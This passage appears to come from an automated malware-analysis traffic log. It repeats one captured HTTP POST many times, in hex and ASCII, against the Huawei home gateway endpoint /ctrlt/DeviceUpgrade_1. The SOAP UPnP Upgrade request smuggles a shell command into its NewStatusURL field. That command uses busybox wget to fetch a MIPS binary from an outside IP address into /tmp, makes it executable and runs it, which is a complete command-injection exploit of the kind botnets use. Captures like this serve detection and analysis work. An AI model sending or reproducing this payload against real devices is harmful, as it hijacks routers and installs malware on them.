xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 